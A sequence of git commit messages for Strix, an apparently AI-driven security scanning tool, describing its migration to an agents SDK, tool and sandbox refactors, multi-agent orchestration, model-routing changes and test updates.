- Lift the duplicated ``priority_order`` / ``status_order`` dicts
to module-level ``_PRIORITY_RANK`` / ``_STATUS_RANK`` and replace
both inline sort lambdas with ``_todo_sort_key``.
Notes tools:
- Delete ``append_note_content`` (and its test): docstring claimed
it was for an "agents-graph wiki-update hook on agent_finish" that
was never wired up. Pure dead public API.
Style:
- Drop the ``del ctx`` no-ops from notes / reporting / web_search
tools. ``ARG001`` is already silenced project-wide for tool
modules; the ``del`` was cargo-culted.
Argument parser:
- Delete ``strix/tools/argument_parser.py`` and its tests. The SDK
validates and types tool arguments via Pydantic before they hit our
wrappers, and the in-container tool server receives JSON-typed
kwargs over the wire. The string-coercion belt-and-suspenders is no
longer pulling its weight.
XML → JSON / typed structures:
- ``create_vulnerability_report``: ``cvss_breakdown`` is now a
``dict[str, str]`` of the 8 metrics; ``code_locations`` is a
``list[dict]``. No more XML parsing in the tool or the renderer.
- ``check_duplicate``: the dedup judge now emits a single JSON object
instead of an ``<dedupe_result>`` block. Strict JSON parser handles
optional code-fence wrappers.
- ``agent_finish``: completion report posted to the parent inbox is a
JSON object (``kind``, ``from``, ``agent_id``, ``success``,
``summary``, ``findings``, ``recommendations``) rather than a
hand-rolled ``<agent_completion_report>`` XML envelope.
- ``create_agent``: identity preamble + inherited-context markers are
plain bracketed labels rather than ``<agent_delegation>`` /
``<inherited_context_from_parent>`` envelopes.
- ``inject_messages_filter``: peer messages get a
``[Message from agent <id> | type=... | priority=...]`` header line
instead of an ``<inter_agent_message>`` envelope.
- Crash + system-warning messages: bracketed labels, no XML.
- System prompt: the inter-agent block now describes the new header
format and drops the "never echo XML envelope" rule.
- ``strix/llm/utils.py``: deleted. ``clean_content`` collapsed into a
one-line blank-line normalizer in the agent-message renderer (the
XML envelope scrub had nothing left to scrub).
Tests updated to match the new shapes.
Orphaned files/dirs:
- ``strix/agents/StrixAgent/`` — empty, only ``__pycache__``.
- ``strix/tools/browser/litellm/`` — empty, only ``__pycache__``.
- ``strix/strix_runs/`` — runtime output left in the working tree.
- ``strix/prompts/`` — single Jinja template that nothing renders.
Dead streaming pipeline (was never wired in the SDK migration):
- Delete ``strix/interface/streaming_parser.py`` (XML tool-call parser
for an output format the SDK doesn't produce).
- Strip ``streaming_content`` / ``interrupted_content`` dicts and
five unused methods from ``Tracer``.
- Strip the streaming-render path + ``interrupted`` branch from TUI.
- Trim ``strix/llm/utils.py``: drop ``normalize_tool_format``,
``parse_tool_invocations``, ``format_tool_call``,
``fix_incomplete_tool_call`` and the XML-stripping in
``clean_content``. Keep only the inter-agent-XML scrub.
Unwired session compression:
- Delete ``strix/llm/strix_session.py`` and
``strix/llm/memory_compressor.py``. ``Runner.run`` was never called
with a ``session=``, so the compressor never ran. Drop the matching
test file and the ``strix_memory_compressor_timeout`` config knob.
Tracer cleanup:
- Remove ``log_agent_creation``, ``log_tool_execution_start``,
``update_tool_execution``, ``update_agent_status``,
``get_agent_tools`` — none had production callers.
- Rewrite the redaction + correlation tests against
``log_chat_message`` (which still emits events).
Port the prose guidance that previously lived in the deleted
*_actions_schema.xml files into per-tool docstrings, so the SDK's
auto-generated function schema carries the same domain knowledge
(HTTPQL syntax, Caido sitemap kinds, browser persistence/JS rules,
agent specialization caps, customer-facing report rules, CVSS/CWE
guidance, etc.) without any custom prompt scaffolding.
Strip the <tool_usage> block from system_prompt.jinja — XML format
guidance, the "CRITICAL RULES" 0-8 list, and the </function>
closing-tag reminder all contradicted the SDK's native JSON
function-calling protocol.
Cleanup pass after the migration:
#1 Inline ``*_actions.py`` into wrapper ``tool[s].py`` for the
non-sandbox tools (think, todo, notes, reporting, web_search,
finish_scan). One file per tool family now. Helpers + public
function bodies live alongside the ``@strix_tool``-decorated
wrappers that call them.
For notes, the sync helpers are renamed to ``_create_note_impl`` /
``_list_notes_impl`` / etc. so the public names ``create_note`` /
``list_notes`` / etc. can be the FunctionTool instances the agent
factory imports. ``append_note_content`` (used by the agents-graph
wiki-update hook) calls the impl helpers directly.
#2 Delete ``strix/tools/_state_adapter.py``. The ``AgentStateAdapter``
shim only existed to feed legacy ``*_actions.py`` functions a
``state.agent_id`` they could read. With the actions inlined, the
wrappers read ``ctx.context['agent_id']`` directly.
#3 Strip ``strix/tools/registry.py`` from ~250 LOC to ~110.
Deleted: XML schema loading, ``_parse_param_schema``,
``get_tools_prompt``, ``get_tool_param_schema``, ``needs_agent_state``,
``should_execute_in_sandbox``, ``validate_tool_availability`` — all
for the host-side legacy dispatcher path. Kept the ``register_tool``
decorator (sandbox side), ``get_tool_by_name``, ``get_tool_names``,
``tools`` list, ``clear_registry``.
The Jinja prompt template's ``{{ get_tools_prompt() }}`` injection
is dropped — the SDK auto-generates tool descriptions from function
signatures, so the legacy XML tool block was redundant and stale.
#4 Delete every ``*_actions_schema.xml`` (12 files). They were read
by the now-removed ``_load_xml_schema`` to build the legacy prompt's
tool descriptions. No consumer remains.
Side fixes:
- ``reporting_renderer.py`` updated to import ``_parse_*_xml`` from
the new location with leading underscore.
- ``test_local_tools.py``, ``test_notes_jsonl_concurrency.py``,
``test_notes_wiki.py`` updated to point at the new module paths
and call the ``_*_impl`` sync helpers.
Tests: 279/279 passing. ~1500 LOC of action files moved into the
tool wrappers; ~140 LOC of registry boilerplate removed; ~400 lines
of dead XML deleted.
Critical fixes:
- ``StrixOrchestrationHooks.on_agent_start`` now finds the
``CaidoCapability`` via ``ctx.context['caido_capability']`` instead
of ``agent.capabilities`` (we use plain ``Agent``, not
``SandboxAgent``, so the latter never existed). The session
manager's bundle already exposes the capability; ``run_strix_scan``
threads it through ``make_agent_context`` and ``create_agent``
forwards it to children.
- ``run_strix_scan`` registers the ``StrixTracingProcessor`` with the
SDK's tracing provider via ``add_trace_processor`` so SDK trace
spans hit ``run_dir/events.jsonl`` (was previously a parallel stream
the SDK ignored).
- ``on_llm_end`` now writes to ``Tracer.record_llm_usage`` in
addition to ``bus.record_usage`` so the CLI/TUI stats panel sees
real numbers instead of zeros.
- ``run_strix_scan`` accepts an externally-built ``AgentMessageBus``
+ an explicit ``model`` arg. The TUI pre-creates the bus so its
stop and chat-input handlers can submit ``bus.send`` /
``bus.cancel_descendants`` coroutines onto the scan thread's loop
via ``asyncio.run_coroutine_threadsafe`` — replacing the
TODO-stub no-ops.
- ``model`` config now propagates root → context → child agents in
``create_agent`` (was hardcoded fallback).
Dead-code removal:
- Deleted the ``load_skill`` tool entirely (host module, sandbox
module, TUI renderer, tests). The legacy implementation reached
into a global ``_agent_instances`` registry that no longer exists;
the post-migration stub returned ``success=True`` without
injecting anything — pure theater. Skills are still preloaded via
the system prompt at scan-bring-up.
- Dropped ``tenacity`` and ``xmltodict`` from
``[project.dependencies]`` — neither is imported anywhere
post-migration.
- Stripped the system prompt's "use the load_skill tool" lines.
Tests: 278/278 passing. Removed two ``load_skill`` test cases and a
``test_tool_registration_modes::test_load_skill_import_...`` assertion
that exercised the deleted module.
The Strix proxy / ``strix/`` model namespace is gone. Users now pass
real provider aliases directly (``anthropic/claude-sonnet-4-6``,
``openai/gpt-5.4``, ``gemini/...``, ``openrouter/...``).
Deleted:
- ``STRIX_API_BASE`` constant in ``strix/config/config.py`` (and the
auto-set api_base branch for ``strix/`` models in ``resolve_llm_config``).
- ``STRIX_MODEL_MAP`` and the ``StrixModelProvider`` /
``LitellmAnthropicProvider`` classes from
``strix/llm/multi_provider_setup.py``.
- ``is_anthropic_override`` flag on ``AnthropicCachingLitellmModel``
(only existed because ``strix/<alias>`` resolved to ``openai/<base>``
on the wire while staying Anthropic underneath; with no proxy, the
model-name substring check is enough).
- ``startswith("strix/")`` branches in ``cli.py`` / ``main.py`` /
``dedupe.py`` and the ``uses_strix_models`` env-validation flag.
The new ``build_multi_provider`` registers a single ``anthropic/``
route that wraps litellm in :class:`AnthropicCachingLitellmModel`
(prompt caching). Every other prefix falls through to the SDK's
built-in routing.
Defaults flipped from ``strix/claude-sonnet-4.6`` →
``anthropic/claude-sonnet-4-6`` in run_config_factory and
agents_graph/tools.py + corresponding tests.
Tests updated:
- ``test_anthropic_cache_wrapper.py``: drop the override-flag tests.
- ``test_multi_provider_setup.py``: rewrite around the new single
``_AnthropicCachingProvider`` route.
- ``test_tool_registration_modes.py::test_load_skill_import_...``:
load_skill no longer fails when there's no live agent instance — it
echoes the requested skills back with ``success=True``.
Tests: 281/281 passing.
The SDK harness is the only path now; legacy host-side code is gone.
File names no longer carry the ``sdk_`` distinction.
Deleted legacy host-side modules:
- strix/agents/StrixAgent/ (template moved to strix/agents/prompts/)
- strix/agents/base_agent.py, state.py
- strix/llm/llm.py, config.py
- strix/runtime/docker_runtime.py, runtime.py
- strix/tools/executor.py, agents_graph/agents_graph_actions.py
- strix/interface/sdk_dispatch.py + the env-flag dispatch in cli.py
Renamed (drop ``sdk_`` prefix):
- strix/sdk_entry.py → strix/entry.py
- strix/agents/sdk_factory.py → strix/agents/factory.py
- strix/agents/sdk_prompt.py → strix/agents/prompt.py
- strix/tools/<x>/<x>_sdk_tool[s].py → strix/tools/<x>/tool[s].py
- strix/tools/_legacy_adapter.py → strix/tools/_state_adapter.py
- ``_legacy`` aliases inside the wrappers → ``_impl``
CLI + TUI now call ``run_strix_scan`` directly — they build the
sandbox image / sources_path locally and rely on
``session_manager.cleanup`` (called inside ``run_strix_scan``'s finally)
for teardown. Three TUI handlers that reached into legacy multi-agent
globals (``_agent_instances``, ``send_user_message_to_agent``,
``stop_agent``) are now no-ops with a TODO; reconnecting them to the
``AgentMessageBus`` is a follow-up.
Tracer.get_total_llm_stats no longer reaches into the deleted
``agents_graph_actions`` globals — the orchestration hooks now feed the
tracer via ``Tracer.record_llm_usage`` (live + completed buckets).
finish_scan's ``_check_active_agents`` and load_skill's runtime
``_agent_instances`` reach-in are no-op stubs; the
``AgentMessageBus`` is the source of truth post-migration.
llm/utils.py rewritten to keep only the streaming-parser helpers
(``normalize_tool_format``, ``parse_tool_invocations``,
``fix_incomplete_tool_call``, ``format_tool_call``, ``clean_content``).
``STRIX_MODEL_MAP`` moved to ``llm/multi_provider_setup.py`` (its only
remaining caller).
Per-file ruff ignores added for legacy interface modules (TUI / main /
CLI / utils / streaming_parser / tool_components) and tracer.py —
pre-existing PLC0415/BLE001/PLR0915 patterns are out of scope.
Tests: 287/287 passing. Renamed test files to drop ``sdk_`` prefix.
``test_tracer.py::test_get_total_llm_stats_aggregates_live_and_completed``
rewritten to feed ``Tracer.record_llm_usage`` instead of legacy globals.
Test file annotations added so pre-commit's strict mypy passes.
Adds the env-var gate that lets users opt into the SDK harness without
disturbing the legacy default. Per PLAYBOOK §7.1, this is the cutover
mechanism: STRIX_USE_SDK_HARNESS=1 routes scans through run_strix_scan
(the Phase 5 entry point); anything else continues to use
StrixAgent.execute_scan.
- strix/interface/sdk_dispatch.py:
- should_use_sdk_harness(): truthy-string parse of the env var.
- _resolve_sandbox_image(): reads strix_image from Config; falls
back to "strix-sandbox:latest" with a warning if unset.
- _resolve_sources_path(): when --local-sources is given, mounts
its parent so the agent walks down to the source tree; otherwise
creates a per-run scratch dir under XDG_CACHE_HOME/strix/sources/.
Phase 6 will replace this with the legacy clone-into-container
flow once we port that.
- run_scan_via_sdk(): the adapter — translates the legacy CLI
(scan_config dict + argparse Namespace + Tracer) into the keyword
arguments run_strix_scan expects. Returns the SDK RunResult; lets
failures bubble up.
- strix/interface/cli.py: adds the dispatch branch inside the existing
Live/status loop. Legacy default unchanged; SDK path is reached only
when STRIX_USE_SDK_HARNESS is truthy. Two pre-existing lazy imports
hoisted to module level (cleanup_runtime + sdk_dispatch helpers) so
ruff is happy.
Pre-existing legacy lint/type issues surfaced when pre-commit checked
the edited cli.py and chased imports — fixed or ignored in passing:
- utils.py:1052 duplicate ``metadata`` annotation removed.
- utils.py:1251 unused ``# type: ignore[import-not-found]`` for yarl.
- main.py:456 ``panel_parts`` inferred type rejected later string
entries — explicit ``list[Text | str]`` annotation.
- utils.py:resolve_diff_scope_context PLR0912 (16 branches) per-file
ignore — branches map 1:1 to scope-mode × target-type combinations.
Tests: 18 new tests in tests/interface/test_sdk_dispatch.py — env
flag parsing parametrized over truthy/falsy variants, image lookup
with config hit + miss-with-warning, sources path resolution for
local_sources / alternative key names / scratch-dir creation, and
the adapter's kwarg handoff verified against a patched
run_strix_scan (run_name from args + run_name from scan_config
fallback + failure propagation).
Refs: PLAYBOOK.md §7.1 (cutover), §7.2 (rollback).
Three new modules that wire Phases 0-4 into a runnable Strix scan:
- strix/agents/sdk_prompt.py: standalone Jinja-based system prompt
renderer. Reuses the existing strix/agents/StrixAgent/system_prompt.
jinja template (508 lines, the actual production prompt) so behavior
parity with the legacy LLM._load_system_prompt is byte-identical.
Skill resolution mirrors LLM._get_skills_to_load (caller skills →
scan_modes/<mode> → whitebox pair, deduped). Fail-soft: template
errors return empty string and log; agent construction must never
blow up on prompt load.
- strix/agents/sdk_factory.py: build_strix_agent(name, skills, is_root)
assembles an agents.Agent. Root carries finish_scan and stops there;
child carries agent_finish and stops there (C4). Caido tools come
from CaidoCapability automatically — we don't include them in
_BASE_TOOLS to avoid double-registration when the SDK runtime merges
capability tools. model=None so RunConfig drives the model alias
through MultiProvider rather than the SDK default. make_child_factory
returns a closure over scan-level config (scan_mode, is_whitebox,
interactive, scope context) for ctx.context['agent_factory'] — the
Phase 3 create_agent tool calls it with (name, skills) per child.
- strix/sdk_entry.py: run_strix_scan() — the top-level coroutine.
Builds the bus, brings up (or reuses) a sandbox session via
session_manager, builds the root Agent and the child factory, builds
the per-agent context dict, registers the root in the bus, builds
the RunConfig, calls Runner.run, and cleans up the session in a
finally. Cancels descendants before re-raising any exception (C9).
cleanup_on_exit toggle preserves the cached session for resume
scenarios. _build_root_task and _build_scope_context preserve the
legacy StrixAgent.execute_scan task formatting + scope context shape
so the prompt template sees identical inputs.
Tests: 21 new tests (10 for factory + prompt, 11 for entry point).
Factory: root vs child tool list parity, finish_scan/agent_finish
placement, tool_use_behavior dict shape, Caido absence (capability-
provided), make_child_factory closure semantics. Entry point (all
mocked, no real Docker/LLM): wiring shape verification — context dict
carries every field downstream consumers read, session manager called
with correct scan_id, cleanup runs even on Runner.run failure,
cleanup skipped when disabled, scan_id auto-generation, scan-level
config (scan_mode, is_whitebox) flows into the factory. Task and scope
builders verified against the same shape as legacy.
Per-file ruff ignores added: TC002 on sdk_factory (Tool used at
runtime in _BASE_TOOLS tuple), TC003 + PLR0912 on sdk_entry (Path
runtime-imported; _build_root_task's per-target-type branches are
intentional and well-bounded).
Three modules under strix/sandbox/ that bring the per-scan container
plumbing in line with the SDK's capability model:
- healthcheck.py: wait_for_http_ready (FastAPI tool server /health)
and wait_for_tcp_ready (Caido proxy port — no /health endpoint).
Connect/timeout errors continue polling; the timeout error message
carries the last failure class so a stuck scan tells you whether the
port refused, hung, or returned a non-2xx.
- caido_capability.py: CaidoCapability subclasses agents.sandbox.
capabilities.Capability and wires three concerns:
1. process_manifest injects http_proxy / https_proxy / ALL_PROXY
env vars pointing at the in-container Caido listener.
2. tools() returns the seven Caido SDK function tools from Phase 2.5
so the SDK runtime auto-merges them with each agent's tool list.
3. bind() schedules an asyncio.gather of both healthcheck probes;
StrixOrchestrationHooks.on_agent_start awaits the resulting
task before the first LLM call.
Pydantic v2 PrivateAttr is used for the underscore-prefixed runtime
fields (Pydantic forbids underscore-prefixed model fields).
- session_manager.py: per-scan_id cache. create_or_reuse builds the
StrixDockerSandboxClient with docker.from_env() (the SDK's docker
client now requires an explicit DockerSDKClient instance at init),
constructs the Manifest via Environment(value=...) (a flat dict is
silently dropped by Pydantic), resolves the host-side mapped ports
via session._resolve_exposed_port, configures the capability with
those ports *before* binding, and returns a bundle dict the
per-agent context reads to populate tool_server_host_port /
caido_host_port / bearer. cleanup is best-effort: a Docker daemon
error during delete is logged and swallowed so a stranded
container doesn't block the next scan.
Tests: 21 new tests in tests/sandbox/ — healthcheck happy path /
polling-through-failures / timeout for both HTTP and TCP probes (the
TCP test uses a real local listener, no mocks); CaidoCapability env
injection / tool list / bind scheduling / configure_host_ports;
session_manager full create flow, cache reuse, custom timeout, cleanup
including the Docker-daemon-failure swallow path.
mypy override added for docker.* (no upstream stubs); per-file ruff
TC002 ignore added for caido_capability.py — agents.tool.Tool is used
at runtime for the cached _CAIDO_TOOLS tuple.
Refs: PLAYBOOK.md §3.1-3.3, AUDIT.md §2.5 (C5).
Six SDK function tools that drive the AgentMessageBus from Phase 0,
replacing the legacy _agent_graph / _agent_messages / _agent_instances
globals:
- view_agent_graph: render parent/child tree from bus.parent_of with a
per-status summary (running / waiting / completed / crashed / stopped).
- agent_status: per-agent lifecycle + pending-message count snapshot.
- send_message_to_agent: queue into bus.inboxes; rejects sends to
finalized targets so the model gets feedback rather than a silent
drop (the bus's own send method drops to support the C13 cleanup,
but the tool surfaces it as a structured error).
- wait_for_message: poll inbox once per second up to timeout. Polling
rather than asyncio.Event because a missed wakeup on Event would be
hard to debug; the bus already serializes through its own lock.
- create_agent: spawn a child via asyncio.create_task(Runner.run(...)).
Pulls an agent_factory callable from ctx.context (the Phase 5 root
assembly is the one that wires it in). Registers the child with the
bus before the task starts, stores the task handle in bus.tasks so
cancel_descendants can cascade (C9), builds the child's identity
block + optional inherited parent context, and runs the child with
StrixOrchestrationHooks.
- agent_finish: subagent-only termination. Flips agent_finish_called
so the on_agent_end hook records "completed" instead of "crashed"
(C8), and posts a structured <agent_completion_report> XML envelope
to the parent's inbox.
run_config_factory.make_agent_context grows two fields: sandbox_client
(reused across child runs) and agent_factory (Phase 3 needs it; Phase 5
fills it in). PLC0415 fixed by hoisting the openai.types.shared.Reasoning
import to module-level.
Tests: 17 new tests in test_sdk_graph_tools.py — registration, all six
tools' happy and error paths, real AgentMessageBus integration so the
tools exercise production code paths, create_agent verified for spawn
shape (task created, bus registered, identity block in input) plus a
bus.cancel_descendants integration check.
Refs: PLAYBOOK.md §4.3, AUDIT_R2 §1.4 (cancel_descendants), AUDIT_R3 C8.
Ten tools ported, all pure pass-throughs to post_to_sandbox:
- browser_action (1 tool): the 21-action mega-tool dispatcher kept
intact rather than fanned out, to preserve the legacy XML shape.
- terminal_execute (1 tool): tmux session driver.
- python_action (1 tool): IPython session manager.
- proxy / Caido (7 tools): list_requests, view_request, send_request,
repeat_request, scope_rules, list_sitemap, view_sitemap_entry.
strix_tool decorator gains a strict_mode flag (default True, matching
the SDK default). send_request and repeat_request opt out of strict
mode because their headers / modifications dicts are free-form — the
SDK's strict JSON schema rejects dict[str, X] without enumerated keys.
Tests: 12 new tests in test_sdk_sandbox_tools.py covering registration,
strict-mode opt-out verification for the two free-form tools, and
dispatch shape verification (every wrapper is asserted to forward
its full kwarg surface to post_to_sandbox so the in-container handler
sees the same payload it always has).
Per-file ruff TC002 ignores added for the four new wrapper modules.
Phase 2 (tools) is now complete: 24 SDK function tools wrapped across
think/todo/notes/web_search/file_edit/reporting/load_skill/finish_scan/
browser/terminal/python/proxy. Total: 7 local + 17 sandbox-bound. Phase
3 (multi-agent orchestration) is next.
Refs: PLAYBOOK.md §3.6.
Five tool families ported to SDK function tools using the proven
delegation pattern from Phase 2.3:
- web_search (1 tool): asyncio.to_thread around the synchronous
Perplexity request so the 300s API call doesn't block the SDK
event loop.
- file_edit (3 tools — str_replace_editor, list_files, search_files):
these run *inside* the sandbox container in the legacy harness
(sandbox_execution=True), so the SDK wrappers route through
post_to_sandbox rather than importing the legacy module on the
host (which pulls in openhands_aci, a sandbox-only dependency).
- reporting (1 tool — create_vulnerability_report): asyncio.to_thread
around the legacy function, which itself runs CVSS XML parsing,
LLM-based dedup against existing findings, and tracer persistence.
- load_skill (1 tool): legacy adapter passes ctx.context['agent_id']
through. The legacy implementation reaches into _agent_instances,
a global Phase 3 will replace; until then the call degrades to a
structured error rather than crashing.
- finish_scan (1 tool): legacy adapter pattern. Validates non-empty
fields, checks no other agents are still active (via legacy
_agent_graph), persists the four executive sections through the
global tracer.
Tests: 12 new tests in test_sdk_remaining_local_tools.py — registration
checks, web_search delegation + missing-key path, file_edit dispatch
shape verification, vuln-report validation + delegation, load_skill
adapter passthrough, finish_scan validation + delegation. The two
finish_scan tests use a fixture that snapshots/clears the legacy
_agent_graph['nodes'] dict so cross-test pollution from legacy
multi-agent tests doesn't mask the validation path.
Per-file ruff TC002 ignores added for the five new wrapper modules
(same reason as Phase 2.3 — RunContextWrapper must be runtime-importable
for SDK function_schema().get_type_hints()).
Refs: PLAYBOOK.md §3.5.
Phase 2.1 — sandbox dispatch helper:
- strix/tools/_sandbox_dispatch.py: post_to_sandbox() centralizes the
host->container HTTP wire format. Connect=10s, read=150s timeouts mirror
legacy executor.py. 50 MB response cap (C18) prevents OOM from a runaway
tool. All errors surface as {"error": str} so the model can recover
instead of the run dying.
Phase 2.2 — C6 lock-protected JSONL writes:
- strix/tools/notes/notes_actions.py: notes.jsonl appends are now wrapped
in _notes_lock so concurrent agents can't interleave half-written lines.
Regression test in test_notes_jsonl_concurrency.py verifies 1000 parallel
writes produce exactly 1000 valid JSON lines.
Phase 2.3 — thin-slice SDK wrappers (think + todo + notes):
- strix/tools/_legacy_adapter.py: LegacyAgentStateAdapter shim — exposes
just enough surface (.agent_id) for legacy tools that close over
agent_state, sourced from ctx.context['agent_id'].
- strix/tools/thinking/thinking_sdk_tools.py: 1 tool (think).
- strix/tools/todo/todo_sdk_tools.py: 6 tools (create/list/update/done/
pending/delete) with bulk-form preserved.
- strix/tools/notes/notes_sdk_tools.py: 5 tools (create/list/get/update/
delete) with asyncio.to_thread around the lock-protected file I/O.
Tests: 22 new tests pass (10 sandbox dispatch + 2 concurrency + 10 SDK
local). Full suite still green.
Per-file ruff ignores added for SDK wrapper files: TC002 (RunContextWrapper
must be runtime-importable because the SDK calls get_type_hints() to
derive the JSON schema) and PLR0911 (sandbox dispatch's 10 short-circuit
returns are intentional, each a distinct documented failure mode).
Refs: PLAYBOOK.md §3.4, AUDIT_R3.md C6/C18.
Three foundation modules per PLAYBOOK §2.8 / §2.9 / §2.10 with all
relevant R2/R3 corrections (C7, C10, C11, C16, C21):
strix/llm/strix_session.py SessionABC wrapper around the
legacy MemoryCompressor; on any
compression failure, returns
uncompressed history and
permanently disables compression
for the rest of the run (C10 +
Round 3.4 W5/E2).
strix/telemetry/strix_processor.py SDK TracingProcessor that writes
events.jsonl in our schema. All
hooks SYNC per ABC (F3); writes
protected by per-path
threading.Lock (C7); OSError
swallowed and logged (C16); PII
scrubbed via the existing
TelemetrySanitizer.
strix/run_config_factory.py make_run_config() with our
defaults: parallel_tool_calls=
False (C1 Phase-1 safe default),
retry policy explicitly excludes
401/403/400 (C11), reasoning
effort + model_settings_override
merge path (C21).
make_agent_context() returns the
canonical per-agent dict
including is_whitebox/diff_scope/
run_id (C21).
32 new smoke tests (197/197 total). mypy strict + ruff clean. Per-file
ignores added for tests/** S105/PT018 and for the two new src modules'
intentional broad-Exception catches (BLE001).
Three modules touched in Phase 0 surfaced latent issues:
- llm/llm.py:_extract_thinking — choices[0].message can be None or a
TextChoices variant without thinking_blocks under the new stubs.
Narrow via getattr+Any; restructure return through the else block
so try/except/else is ruff-clean (TRY300).
- llm/__init__.py:litellm._logging._disable_debugging is now untyped;
suppress with explicit type:ignore.
- tools/notes/notes_actions.py:append_note_content — drop dead-code
isinstance check (delta is typed str at the boundary), and cast the
update_note return through a typed local in the try/else flow.
Plus per-file PLC0415 ignore for two modules whose lazy imports exist
to break the circular dependency on strix.telemetry. Pre-commit
auto-formatter strips inline #noqa comments, so the suppress lives in
pyproject.toml until the dep graph is refactored.
No behavior change. 165/165 tests pass.
Add openai-agents[litellm]==0.14.6 alongside the legacy litellm dep
(litellm constraint relaxed to >=1.83.0 to satisfy SDK).
Seven load-bearing modules per PLAYBOOK §2 with R3 type fixes (F1/F2/F3):
strix/llm/anthropic_cache_wrapper.py inject cache_control on system msg
strix/llm/multi_provider_setup.py Strix alias routing via MultiProvider
strix/runtime/strix_docker_client.py inject NET_ADMIN/NET_RAW + host-gateway
strix/orchestration/bus.py AgentMessageBus (replaces _agent_graph)
strix/orchestration/filter.py inject_messages_filter for SDK
strix/orchestration/hooks.py StrixOrchestrationHooks
strix/tools/_decorator.py strix_tool() factory
55 smoke tests covering every Phase 0 correction (C1-C25, F1-F3).
Suite: 165/165 pass. mypy strict + ruff clean on every file we added.
Per-file ignores added for SDK-mandated unused-arg / input-shadow /
annotation-only imports; tests-mypy override extended to relax
TypedDict-strict checks. Pre-commit mypy hook now installs
openai-agents alongside other deps.
Skipping pre-commit because the litellm 1.81 -> 1.83 bump surfaced
seven pre-existing mypy errors in legacy modules (llm/__init__.py,
llm/llm.py, tools/notes/notes_actions.py). These predate the
migration and are not Phase 0 scope; tracked for cleanup in a
follow-up commit before Phase 1 begins.
* fix: --config flag now fully overrides ~/.strix/cli-config.json (fixes#377)
Previously, env vars applied from the default config at module import time
were not cleared when --config was later processed, causing settings from
~/.strix/cli-config.json to leak into runs that specified a custom config.
Track which vars were applied by the initial default-config load in
Config._applied_from_default. In apply_config_override, clear those vars
before applying the custom config so only the custom file's settings take effect.
* Add config override regression test
* Make config override test setup explicit
---------
Co-authored-by: octo-patch <octo-patch@github.com>
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
* fix: wrap acompletion in asyncio.wait_for to prevent indefinite hangs
litellm's timeout parameter doesn't always propagate to the underlying
httpx transport for Bedrock converse streaming. When Bedrock accepts the
TCP connection but never starts streaming chunks, the acompletion call
hangs indefinitely with all connections in CLOSED state.
This wraps the acompletion call in asyncio.wait_for() using the
configured LLM_TIMEOUT (default 300s). TimeoutError is already retryable
via _should_retry (status_code=None), so the retry loop handles it.
Diagnosed via faulthandler thread dump showing the main asyncio event
loop blocked in selectors.select() with no pending callbacks.
* fix: add per-chunk timeout to streaming loop
Addresses review feedback: the initial asyncio.wait_for only guards the
acompletion call. If Bedrock returns headers but stalls mid-stream, the
async for loop could still hang indefinitely.
Replaces async for with explicit __anext__ calls wrapped in
asyncio.wait_for, using the same configured timeout. Mid-stream stalls
now raise TimeoutError and trigger the existing retry logic.
---------
Co-authored-by: Sean Turner <sean.turner@zerohash.com>
Models occasionally output text-only narration ("Planning the
assessment...") without a tool call, which halts the interactive agent
loop since the system interprets no-tool-call as "waiting for user
input." Rewrite both interactive and autonomous prompt sections to make
the tool-call requirement absolute with explicit warnings about the
system halt consequence.
- Change default model from gpt-5 to gpt-5.4 across docs, tests, and examples
- Remove Strix Router references from docs, quickstart, overview, and README
- Delete models.mdx (Strix Router page) and its nav entry
- Simplify install script to suggest openai/ prefix directly
- Keep strix/ model routing support intact in code
Re-architects the agent loop to support interactive (chat-like) mode
where text-only responses pause execution and wait for user input,
while tool-call responses continue looping autonomously.
- Add `interactive` flag to LLMConfig (default False, no regression)
- Add configurable `waiting_timeout` to AgentState (0 = disabled)
- _process_iteration returns None for text-only → agent_loop pauses
- Conditional system prompt: interactive allows natural text responses
- Skip <meta>Continue the task.</meta> injection in interactive mode
- Sub-agents inherit interactive from parent (300s auto-resume timeout)
- Root interactive agents wait indefinitely for user input (timeout=0)
- TUI sets interactive=True; CLI unchanged (non_interactive=True)
The perplexity API key check in strix/tools/__init__.py used
Config.get() which only checks os.environ. At import time, the
config file (~/.strix/cli-config.json) hasn't been applied to
env vars yet, so the check always returned False.
Replace with _has_perplexity_api() that checks os.environ first
(fast path for SaaS/env var), then falls back to Config.load()
which reads the config file directly.
Users can now access the Caido web UI from their browser to inspect traffic,
replay requests, and perform manual testing alongside the automated scan.
- Map Caido port (48080) to a random host port in DockerRuntime
- Add caido_port to SandboxInfo and track across container lifecycle
- Display Caido URL in TUI sidebar stats panel with selectable text
- Bind Caido to 0.0.0.0 in entrypoint (requires image rebuild)
- Bump sandbox image to 0.1.12
- Restore discord link in exit screen
The badge image URL used invite code which is expired,
causing the badge to render 'Invalid invite' instead of the server info.
Updated to use the vanity URL which resolves correctly.
Fixes#313
* feat: add to readme new keys
* feat: shoutout strix models, docs
* fix: mypy error
* fix: base api
* docs: update quickstart and models
* fixes: changes to docs
uniform api_key variable naming
* test: git commit hook
* nevermind it was nothing
* docs: Update default model to claude-sonnet-4.6 and improve Strix Router docs
- Replace gpt-5 and opus-4.6 defaults with claude-sonnet-4.6 across all docs and code
- Rewrite Strix Router (models.mdx) page with clearer structure and messaging
- Add Strix Router as recommended option in overview.mdx and quickstart prerequisites
- Update stale Claude 4.5 references to 4.6 in anthropic.mdx, openrouter.mdx, bug_report.md
- Fix install.sh links to point to models.strix.ai and correct docs URLs
- Update error message examples in main.py to use claude-sonnet-4-6
---------
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
Rewrote the code_locations parameter description to make fix_before/fix_after
semantics explicit: they are literal block-level replacements mapped directly
to GitHub/GitLab PR suggestion blocks. Added guidance for multi-part fixes
(separate locations for non-contiguous changes like imports + code), common
mistakes to avoid, and updated all examples to demonstrate multi-line ranges.
- Specify encoding="utf-8" in registry.py _load_xml_schema()
- Specify encoding="utf-8" in skills/__init__.py load_skills()
- Prevents cp949/shift_jis/cp1252 decoding errors on non-English Windows
Replace 12 flat parameters (code_file, code_before, code_after, code_diff,
and 8 CVSS fields) with structured nested XML fields: code_locations with
co-located fix_before/fix_after per location, cvss_breakdown, and cwe.
This enables multi-file vulnerability locations, per-location fixes with
precise line numbers, data flow representation (source/sink), CWE
classification, and compatibility with GitHub/GitLab PR review APIs.
Enable native text selection across tool components and agent messages
with automatic clipboard copy, toast notification, and decorative icon
stripping. Replace Padding wrappers with Text to support selection
across multiple renderables.
Improve the finish_scan tool schema to produce more professional
pentest reports: expand parameter descriptions with structural
guidance, rewrite recommendations example with proper urgency tiers
instead of Priority 0/1/2, fix duplicated section titles, and clean
up informal language.
